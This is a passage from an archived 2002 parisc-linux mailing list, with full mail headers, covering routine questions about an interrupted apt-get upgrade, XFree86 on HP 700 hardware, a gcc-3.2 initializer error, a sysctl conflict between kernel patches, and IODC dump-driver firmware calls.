X-Trace: ger.gmane.org 1416621829 15648 80.91.229.3 (22 Nov 2014 02:03:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:49 +0000 (UTC)
To: PARISC Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 20:27:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04bw.bigpond.com (mta04bw.bigpond.com [139.134.6.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D5B54829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 20:27:26 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([144.135.24.69]) by
          mta04bw.bigpond.com (Netscape Messaging Server 4.15 mta04bw Jul
          16 2002 22:47:55) with SMTP id H4045L00.BOY for
          <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 12:27:21 +1000 
Original-Received: from CPE-203-51-24-210.nsw.bigpond.net.au ([203.51.24.210]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V3.0n 8/6616246); 15 Oct 2002 12:27:20
Original-Received: (from pete@localhost)
	by piglet.sspl.net.au (8.9.3/8.9.3) id MAA05763
	for parisc-linux@lists.parisc-linux.org; Tue, 15 Oct 2002 12:27:21 +1000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Operating-System: Linux/2.2.13 (i586)
X-Uptime: 8:35am  up 13:08,  5 users,  load average: 0.00, 0.00, 0.00
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16485

Hi Everyone,

I'm not having much luck finding a solution to this problem.

I kicked off apt-get update then apt-get dist-upgrade, however I was
ssh'ed into the box when I did this.  Becuase the connect is flakey,
the ssh connection reset, so the last thing apt-get dist-upgrade has
showing was a prompt.

Now I have ssh'ed back to the box.  How can I basically reconnect to
the process and issue the Y to go ahead and complete the upgrade?

I'd rather not kill it unless it's safe to do so.

A ps aux | grep apt shows the process still there.

Thanks,



Pete.

-- 
				Due to a lack of imagination, 
				this signature will remain 
				under construction indefinitely.


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland Hauff <rhauff@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree86 doesn't run on 700
Date: Mon, 14 Oct 2002 19:49:57 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20021015024957.67971.qmail@web40101.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621829 15653 80.91.229.3 (22 Nov 2014 02:03:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 20:50:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web40101.mail.yahoo.com (web40101.mail.yahoo.com [66.218.78.35])
	by dsl2.external.hp.com (Postfix) with SMTP id 24F294829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 20:50:00 -0600 (MDT)
Original-Received: from [64.212.142.98] by web40101.mail.yahoo.com via HTTP; Mon, 14 Oct 2002 19:49:57 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16486

Hi,
I just installed Debian 3.0 on an Apollo Series 700. 
I'm not sure of the model, but it has 96 Meg memory
and a beautiful 19" 1280x1024 Sync on Green monitor.

I have gotten it to boot fine, but cannot get xfree86
configured for graphics.  It does not come up with any
info during the install, and I cannot find any info on
what graphics system it has.  I did see on a hardware
list that it may have Coral SGC, but do not see this
supported by XFree86.

Thank you!
Roland Hauff

__________________________________________________
Do you Yahoo!?
Faith Hill - Exclusive Performances, Videos & More
http://faith.yahoo.com


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240?
Date: Mon, 14 Oct 2002 20:35:45 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20021015033545.56378.qmail@web12506.mail.yahoo.com>
References: <OE58WPj5T9S6Fmy332G000068d3@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621829 15655 80.91.229.3 (22 Nov 2014 02:03:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 21:35:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id D5BC24829
	for <parisc-linux@parisc-linux.org>; Mon, 14 Oct 2002 21:35:48 -0600 (MDT)
Original-Received: from [12.24.252.219] by web12506.mail.yahoo.com via HTTP; Mon, 14 Oct 2002 20:35:45 PDT
In-Reply-To: <OE58WPj5T9S6Fmy332G000068d3@hotmail.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16487

I am looking at a pretty good deal on a J2240 Workstation and was
wondering if the Dino/Cujo conflict was resolved that I found in the
archives?  I only see like 2 folks registered in the hardware database
with J2240's so that makes me think it would be a PITA to get up and
running.  If I did decide to do it, my C180 would have to go to a good
home.  Any opinions would be welcome.

derek

__________________________________________________
Do you Yahoo!?
Faith Hill - Exclusive Performances, Videos & More
http://faith.yahoo.com


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help!!! apt-get dist-upgrade
Date: Mon, 14 Oct 2002 22:54:13 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20021014225413.A8042@osiris.silug.org>
References: <20021015122720.E893@piglet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621830 15660 80.91.229.3 (22 Nov 2014 02:03:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:50 +0000 (UTC)
Cc: PARISC Mailing List <parisc-linux@lists.parisc-linux.org>
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 21:54:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from osiris.silug.org (osiris.silug.org [64.240.156.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD0714829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 21:54:41 -0600 (MDT)
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.11.6/8.11.6) id g9F3sDH08066;
	Mon, 14 Oct 2002 22:54:13 -0500
X-Authentication-Warning: osiris.silug.org: steve set sender to steve@silug.org using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021015122720.E893@piglet>; from plaven@bigpond.net.au on Tue, Oct 15, 2002 at 12:27:20PM +1000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16488

On Tue, Oct 15, 2002 at 12:27:20PM +1000, Peter Lavender wrote:
> Now I have ssh'ed back to the box.  How can I basically reconnect to
> the process and issue the Y to go ahead and complete the upgrade?

You can't really.  Next time, after you login, run "screen".  Then,
when something like this happens, use "screen -D -r" to logout the old
session and reattach it to your current terminal.

> I'd rather not kill it unless it's safe to do so.

It should be.  Apt is very good about just picking up where it left
off on the next run.

Steve
-- 
steve@silug.org           | Southern Illinois Linux Users Group
(618)398-7360             | See web site for meeting details.
Steven Pritchard          | http://www.silug.org/


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help!!! apt-get dist-upgrade
Date: Tue, 15 Oct 2002 14:48:34 +1000
Lines: 34
Approved: news@gmane.org
Message-ID: <20021015144834.I799@piglet>
References: <20021015122720.E893@piglet> <20021014225413.A8042@osiris.silug.org>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621830 15663 80.91.229.3 (22 Nov 2014 02:03:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:50 +0000 (UTC)
Cc: Peter Lavender <plaven@bigpond.net.au>,
	PARISC Mailing List <parisc-linux@lists.parisc-linux.org>
To: Steven Pritchard <steve@silug.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 22:48:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04bw.bigpond.com (mta04bw.bigpond.com [139.134.6.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id 651C84829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 22:48:37 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([144.135.24.81]) by
          mta04bw.bigpond.com (Netscape Messaging Server 4.15 mta04bw Jul
          16 2002 22:47:55) with SMTP id H40AOW00.E8T; Tue, 15 Oct 2002
          14:48:32 +1000 
Original-Received: from CPE-203-51-24-210.nsw.bigpond.net.au ([203.51.24.210]) by bwmam05.mailsvc.email.bigpond.com(MailRouter V3.0n 44/7128136); 15 Oct 2002 14:48:32
Original-Received: (from pete@localhost)
	by piglet.sspl.net.au (8.9.3/8.9.3) id OAA06242;
	Tue, 15 Oct 2002 14:48:34 +1000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20021014225413.A8042@osiris.silug.org>; from steve@silug.org on Mon, Oct 14, 2002 at 10:54:13PM -0500
X-Operating-System: Linux/2.2.13 (i586)
X-Uptime: 1:21pm  up 17:54,  5 users,  load average: 0.31, 0.12, 0.04
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16489

* Steven Pritchard (steve@silug.org) wrote:


> On Tue, Oct 15, 2002 at 12:27:20PM +1000, Peter Lavender wrote:
> > Now I have ssh'ed back to the box.  How can I basically reconnect to
> > the process and issue the Y to go ahead and complete the upgrade?
> 
> You can't really.  Next time, after you login, run "screen".  Then,
> when something like this happens, use "screen -D -r" to logout the old
> session and reattach it to your current terminal.
 
Belive it or not, but I usually use screen, however this time I just
logged in a start the apt processes.

> > I'd rather not kill it unless it's safe to do so.
> 
> It should be.  Apt is very good about just picking up where it left
> off on the next run.

Where is what I ended up doing and apt did the irght thing.  Very
encouraging.  :)

Thanks.


Regards,

Pete.

-- 
				Due to a lack of imagination, 
				this signature will remain 
				under construction indefinitely.


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] possible gcc-3.2 bug?
Date: Tue, 15 Oct 2002 00:03:36 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20021015070336.GJ24881__26990.1482075968$1416621830$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621830 15664 80.91.229.3 (22 Nov 2014 02:03:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 00:59:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 762B44829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 00:59:05 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A1C1FCD83C; Tue, 15 Oct 2002 00:03:36 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16490

The following piece of code compiles with gcc-3.0 but not with
gcc-3.2... is this a gcc bug? or is the code broken?

tausq@a500:~$ gcc-3.2 -c t.c
t.c: In function `foo':
t.c:12: initializer element is not constant

(it's a simplified example of some code from the parisc-linux kernel)

---------------------8<-----------------------
/* compile with gcc -c foo.c */

typedef struct {
        volatile unsigned int lock;
} spinlock_t;

typedef struct {
        spinlock_t lock;
        volatile int counter;
} rwlock_t;

void foo(void)
{
        static rwlock_t x = (rwlock_t) { (spinlock_t) { 1 }, 0 };
}
---------------------8<-----------------------

removing the (rwlock_t) cast allows the initializer construct to
compile, but the kernel also uses the construct to assign values
post-initialization to some variables, in which case the cast 
seems to be required.

e.g. kernel/fork.c has something like this:

    struct *fs = /* allocate memory for fs */;
    fs->lock = (rwlock_t) { ... };

thanks,
randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFS cvs (KERNEL_KDB conflict)
Date: Tue, 15 Oct 2002 12:58:10 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3DA56CAE000017FC@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621830 15667 80.91.229.3 (22 Nov 2014 02:03:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 04:01:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75DBB4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 04:01:49 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 15 Oct 2002 11:58:10 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16491

Hi all,

I am on going to test lastest XFS CVS (dpkg release 1.0.2 do not foreseen
k-2.4.19) against k-2.4.19-pa22 and encouter a conflict in linux/include/linux/sysctl.h:

line 128 KERN_HPPA_PWRSW=55,
         KERN_HPPA_UNALIGNED=56,

which conflict with
         KERN_KDB=55,

Right now I do not need KDB but it should be interresting to fix this;-)

Regards,
    Joel



From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dump driver: step by step
Date: Tue, 15 Oct 2002 13:13:41 +0200
Organization: H.P
Lines: 43
Approved: news@gmane.org
Message-ID: <3DABF865.8224BF5@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------14D74C8ABFBCD192E965371F"
X-Trace: ger.gmane.org 1416621831 15671 80.91.229.3 (22 Nov 2014 02:03:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:51 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 05:13:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id E18A84829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 05:13:47 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9BCD3BF8
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 13:13:43 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA05079 for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Oct 2002 13:11:59 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16492

This is a multi-part message in MIME format.
--------------14D74C8ABFBCD192E965371F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi.
I've succeded to read with iodc, and at the right place (good news no).
Now I'll try to write. But I prefer to do it on another disk.
So I've found an old scsi SE. I've plugged it. The driver is able
to find the hpa, retrieve the iodc ENTRY_INIT without any pb.
But when calling the ENTRY_INIT with INIT_MOD_DEV or only INIT_DEV
it fail with return code -9. But there is a little pb, I don't
have this return code in documentation. If I believe the the 
"parisc 1.1 IO firmware Architecture".
I didn't find it for parisc 2.0 (on 
http://www.parisc-linux.org/documentation/index.html). 
So if someone know where I can find it.

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------14D74C8ABFBCD192E965371F
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------14D74C8ABFBCD192E965371F--



From - Thu Nov 08 21:25:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240?
Date: Tue, 15 Oct 2002 12:28:16 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20021015122816.C8660@parcelfarce.linux.theplanet.co.uk>
References: <OE58WPj5T9S6Fmy332G000068d3@hotmail.com> <20021015033545.56378.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621831 15674 80.91.229.3 (22 Nov 2014 02:03:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 15 05:28:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 239A64847
	for <parisc-linux@parisc-linux.org>; Tue, 15 Oct 2002 05:28:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 181Ps0-000719-00; Tue, 15 Oct 2002 12:28:16 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021015033545.56378.qmail@web12506.mail.yahoo.com>; from derekengelhaupt@rocketmail.com on Mon, Oct 14, 2002 at 08:35:45PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16493

On Mon, Oct 14, 2002 at 08:35:45PM -0700, Derek Engelhaupt wrote:
